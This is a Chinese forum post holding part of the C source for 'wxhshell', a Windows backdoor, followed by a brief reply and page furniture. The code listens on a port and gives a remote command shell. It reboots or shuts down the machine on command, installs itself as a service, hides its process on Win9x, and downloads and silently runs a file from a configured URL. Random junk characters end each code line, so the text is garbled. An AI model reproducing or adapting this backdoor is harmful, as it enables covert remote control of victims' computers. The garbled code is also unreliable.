  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H>.B99vp  
  else ]M3# 3Ha"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j5\$[-';  
  } gLIT;BK  
  else { cOkgoL" 4  
9= V>f )R  
    switch(cmd[0]) { <qhBc:kc  
  ,-'4L9  
  // 帮助 "!H@k%eAM|  
  case '?': { B!bsTvX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gDCOLDM  
    break; t\r:E2 O  
  } 7yI`e*EOD  
  // 安装 iq6a|XGi  
  case 'i': { ,=o0BD2q  
    if(Install()) 5j eO"jB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;KmT{I9  
    else &[@\f^~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5)'P'kVi7.  
    break; zX kx7d8  
    } VXm[-  
  // 卸载 F98i*K`"  
  case 'r': { mJC3@V s  
    if(Uninstall()) g:<?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t`G)b&3_O  
    else gUVn;_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !QEL"iJ6M'  
    break; 4_LQ?U>$  
    } S #8 >ZwQ  
  // 显示 wxhshell 所在路径 GK{{7B  
  case 'p': { ,P6=~q3k  
    char svExeFile[MAX_PATH]; tNnyue{p  
    strcpy(svExeFile,"\n\r"); a<m-V&4x  
      strcat(svExeFile,ExeFile); [pgZbOIN37  
        send(wsh,svExeFile,strlen(svExeFile),0); KJh,,xI>by  
    break; 'iUg[{'+  
    } pCU*@c!  
  // 重启 5Qa zHlJ  
  case 'b': { "0&N}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :reTJQwr  
    if(Boot(REBOOT)) q\$6F)ha3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;(6P6@+o  
    else { f h<*8w0H  
    closesocket(wsh); nWWM2v  
    ExitThread(0); R,Oe$J<  
    } hI|)u4q  
    break; cA;js;x@  
    } x5Zrz<Y$w  
  // 关机 ^O6* e]C$  
  case 'd': { 1 W'F3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O}Le]2'  
    if(Boot(SHUTDOWN)) .T.5TMiOSq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 E1W|KE  
    else { <@, $hso7:  
    closesocket(wsh); eN-au/kN  
    ExitThread(0); &ak6zM  
    } 3qM Nl>>  
    break; }zMf7<C  
    } $=aI "(3&  
  // 获取shell w+AuMc  
  case 's': { v[S-Pi1  
    CmdShell(wsh); 0 bSA_  
    closesocket(wsh); ~OFvu}]  
    ExitThread(0); 7_\Mwy{P  
    break; q<{NO/Mm  
  } 5lmO:G1  
  // 退出 s& yk  
  case 'x': { Utt>H@t[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (#Mp 5C'X  
    CloseIt(wsh); J|QiH<  
    break; JMyTwj[7  
    } sbsu(Sz+  
  // 离开 )]Ti>RO7  
  case 'q': { xJ(:m<z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pGWA\}'  
    closesocket(wsh); h)x_zZ%>o  
    WSACleanup(); [*Ju3  
    exit(1); _p}xZD\?,  
    break; &Cro2|KZhG  
        } }Uw#f@Wh  
  } :Jxh2  
  } Of7 +/UV  
4A.Q21s  
  // 提示信息 ;e s^R?z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fi;VDK(V9  
} \M+L3*W  
  } r|R7- HI  
kDsIp=  
  return;  i g71/'D  
} 3fkk [U  
_ Jc2&(;  
// shell模块句柄 mP}#Ccji?  
int CmdShell(SOCKET sock) j F5Blc  
{ lpC @I^:  
STARTUPINFO si; mN}7H:,  
ZeroMemory(&si,sizeof(si)); Jh@_9/?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -G`.y?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fC<m^%*zgA  
PROCESS_INFORMATION ProcessInfo; .b>TK  
char cmdline[]="cmd"; <@#PF$!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3#GqmhqKDk  
  return 0; iS: #o>  
} t&RruwN_;  
)|]dm Q-  
// 自身启动模式 l (kr'x  
int StartFromService(void) Qi=*1QAkr  
{  .5Z_E O  
typedef struct - r#K#v3  
{ :)c80`-E  
  DWORD ExitStatus; c@du2ICUc  
  DWORD PebBaseAddress; L\  j:  
  DWORD AffinityMask; T@ 48qg  
  DWORD BasePriority; ltA/  
  ULONG UniqueProcessId; JLm @Ag  
  ULONG InheritedFromUniqueProcessId; F[E? A95W  
}   PROCESS_BASIC_INFORMATION; t_c?Wp~tH  
.9M.|  
PROCNTQSIP NtQueryInformationProcess; );JJ2Jlkd  
5K.+CO<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v\A.Tyy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; optBA3@e!  
r"_Y3SxxL  
  HANDLE             hProcess; G$=-,6kZO  
  PROCESS_BASIC_INFORMATION pbi; IN!02`H  
b9("DZW;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kC$I2[t!  
  if(NULL == hInst ) return 0; J!p<oW)a!  
x ^vt; $  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .Q\\dESn"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2Rptxb_@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dgc&[  
J r*"V`  
  if (!NtQueryInformationProcess) return 0; <GZhH:  
+R\~3uj[7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^gg!Me  
  if(!hProcess) return 0; X;EJ&g/  
Zu#<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 80&D""  
0dt"ZSm  
  CloseHandle(hProcess); - 9&g[  
;`jU_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CeW7Ym  
if(hProcess==NULL) return 0; Rx S884  
_*`q(dYcf  
HMODULE hMod; W_JhNe  
char procName[255]; Xb<)LHA~3  
unsigned long cbNeeded; x# 8IZ  
t9D S]Li  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g :i*O^c @  
n\>.T[$"  
  CloseHandle(hProcess); q/'MS[C  
AM/lbMr  
if(strstr(procName,"services")) return 1; // 以服务启动 #W5Yw>$  
_85E=  
  return 0; // 注册表启动 9 z*(8d  
} 9::YR;NY  
J/7 u7_  
// 主模块 "m>};.lj  
int StartWxhshell(LPSTR lpCmdLine) rC rr"O#j  
{ R=86w_  
  SOCKET wsl; qKs7WBRJy  
BOOL val=TRUE; OR~GOv|  
  int port=0; AeQC:  
  struct sockaddr_in door; P:a*t[+  
W_D%|Ub2X  
  if(wscfg.ws_autoins) Install(); f#c BQ~  
u[J7Y  
port=atoi(lpCmdLine); i ~P91  
nOr"K;C  
if(port<=0) port=wscfg.ws_port; d#Wn[h$"  
rr4 _8Rf  
  WSADATA data; QvNi8TB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :z124Zf  
Nc:U4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =ZrjK=K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %9.bu|`KK  
  door.sin_family = AF_INET; dr>]+H=3E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cnYYs d{  
  door.sin_port = htons(port); *fOIq88  
a6 * Y%?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Gwas0e Na  
closesocket(wsl); @OrXbG7&>#  
return 1; ]X4RnV55Q  
} GMt)}Hz  
_"`uqW79  
  if(listen(wsl,2) == INVALID_SOCKET) { v@]6<e$  
closesocket(wsl); +-",2 d+g  
return 1; P[6dTZ!\s  
} t2m  ^  
  Wxhshell(wsl); v3 !byN^  
  WSACleanup(); 64;oB_  
=+k&&vOAn  
return 0; $o{F  
0FN~$+t)H  
} b^@`uDb6  
}NR`81  
// 以NT服务方式启动 zl,bMtQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nqUH6(  
{ 0 [*nAo  
DWORD   status = 0; Z={UM/6w  
  DWORD   specificError = 0xfffffff; DKf}47y  
Y+}OClS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]i9H_K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tOu90gu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZY~zpC_  
  serviceStatus.dwWin32ExitCode     = 0; qT&S  
  serviceStatus.dwServiceSpecificExitCode = 0; eimA *0Cq  
  serviceStatus.dwCheckPoint       = 0; N}eU.#L  
  serviceStatus.dwWaitHint       = 0; q{jk.:;'  
hCSR sk3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oct\He\.  
  if (hServiceStatusHandle==0) return; 6kgCS{MZ  
 4Ub?*  
status = GetLastError(); 'Y,+D`&i)  
  if (status!=NO_ERROR) 9}? 5p]%  
{ *q\HFI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bdNY7|j`  
    serviceStatus.dwCheckPoint       = 0; ;+aDjO2(  
    serviceStatus.dwWaitHint       = 0; /zDSlj<c  
    serviceStatus.dwWin32ExitCode     = status; h$:&1jVY{  
    serviceStatus.dwServiceSpecificExitCode = specificError; FE^?U%:u@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q&:92f\y  
    return; {H~8'K-  
  } o3(|FN  
&@`H^8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ba8-XA_~U  
  serviceStatus.dwCheckPoint       = 0; T-<>)N5y  
  serviceStatus.dwWaitHint       = 0; bUZ&}(/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &</ @0  
} reD[j,i&t.  
7csl1|U  
// 处理NT服务事件,比如:启动、停止 -jklH/gF\%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^$Me#ls!  
{ E Ni%ge'":  
switch(fdwControl) &Pn%zfmMN  
{ ~Krg8s!F&  
case SERVICE_CONTROL_STOP: %WXVfkD  
  serviceStatus.dwWin32ExitCode = 0; Hme@9(zD.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }f0^9(  
  serviceStatus.dwCheckPoint   = 0; ~O7cUsAi'  
  serviceStatus.dwWaitHint     = 0; E<fwl1<88  
  { JUUF^/J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dBi3ZC AF  
  } !x!L&p  
  return; rg]A_(3Bb  
case SERVICE_CONTROL_PAUSE: t]YLt ,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XDv7#Tv_wv  
  break; tz \:r>3vI  
case SERVICE_CONTROL_CONTINUE: ^FpiQF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fr Q-v]c  
  break; E&Zx]?~  
case SERVICE_CONTROL_INTERROGATE: 2L{:H  
  break;  p% YvP  
}; Fw8X$SE"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / hj9Q!  
} ]nr BmKB  
UY?]\4Om  
// 标准应用程序主函数 r^ Rcjyc1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T_|fb)G+{  
{ WFc[F`b  
d)J] Y=j  
// 获取操作系统版本 m{=~| I  
OsIsNt=GetOsVer(); ,-NLUS "w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (H|d3  
5]O LV1Xt  
  // 从命令行安装 W*WH .1&  
  if(strpbrk(lpCmdLine,"iI")) Install(); t2%bHIG}  
V%KW[v<G<  
  // 下载执行文件 !gH.st  
if(wscfg.ws_downexe) { )<&CnK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [T?6~^m=  
  WinExec(wscfg.ws_filenam,SW_HIDE); HW%bx"r+4f  
} }n&JZ`8<s  
Q9'V&jm  
if(!OsIsNt) { p 7E{es|J  
// 如果时win9x,隐藏进程并且设置为注册表启动 LYo7?rp  
HideProc(); w"Y55EURB  
StartWxhshell(lpCmdLine); `uJ l<kHI  
} /01(9(  
else dZ81\jdYv  
  if(StartFromService()) 5^qp&  
  // 以服务方式启动 TKutO0  
  StartServiceCtrlDispatcher(DispatchTable); {(:)  
else )ZT0zIG  
  // 普通方式启动 rQ-z2Pw  
  StartWxhshell(lpCmdLine); 4]Nr$FY  
xM"XNT6b  
return 0; !suiqP1\*  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八